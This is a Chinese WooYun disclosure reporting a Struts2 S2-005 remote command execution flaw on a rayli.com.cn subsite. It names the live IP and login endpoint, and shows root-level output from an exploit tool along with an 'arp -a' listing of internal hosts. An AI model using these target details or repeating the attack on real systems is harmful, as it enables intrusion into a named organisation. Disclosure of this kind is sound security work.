当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-089773

漏洞标题：瑞丽网某分站存在远程命令执行漏洞

相关厂商：rayli.com.cn

漏洞作者： 路人甲

提交时间：2015-01-03 00:44

修复时间：2015-01-08 00:46

公开时间：2015-01-08 00:46

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-03： 细节已通知厂商并且等待厂商处理中
2015-01-08： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

瑞丽网某分站存在远程命令执行漏洞

详细说明：

http://58.68.226.153:8089/login/login.action

Target: http://58.68.226.153:8089/login/login.action
Useage: S2-005 
Whoami: root
WebPath: /usr/local/huntermailV3.0License/WebServer/apache-tomcat-web/webapps/../../../Web/huntmail
OS.Name: Linux
OS.Version: 2.6.18-308.4.1.el5
Java.Home: /usr/local/jdk1.6.0_30/jre
Java.Version: 1.6.0_30
OS.arch: amd64
User.Name: root
User.Home: /root
User.Dir: /usr/local/huntermailV3.0License/WebServer/apache-tomcat-web/bin
Java.Class.Path: /usr/local/huntermailV3.0License/WebServer/apache-tomcat-web/bin/bootstrap.jar
Java.IO.Tmpdir: /usr/local/huntermailV3.0License/WebServer/apache-tomcat-web/temp


/sbin/arp -a
localhost (192.168.0.158) at 78:2B:CB:4E:5F:D1 [ether] on eth1
mta198.post.rayli.com.cn (58.68.227.198) at 78:2B:CB:4E:5F:D3 [ether] on eth0
localhost (192.168.227.198) at 78:2B:CB:4E:5F:D1 [ether] on eth1
? (58.68.227.129) at 00:0F:E2:80:B5:27 [ether] on eth0
localhost (192.168.0.216) at 00:22:19:C6:51:E4 [ether] on eth1
localhost (192.168.0.251) at 00:18:8B:8F:18:59 [ether] on eth1

漏洞证明：

st2.jpg

修复方案：

补漏洞

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-01-08 00:46

厂商回复：

漏洞Rank：12 (WooYun评价)

最新状态：

暂无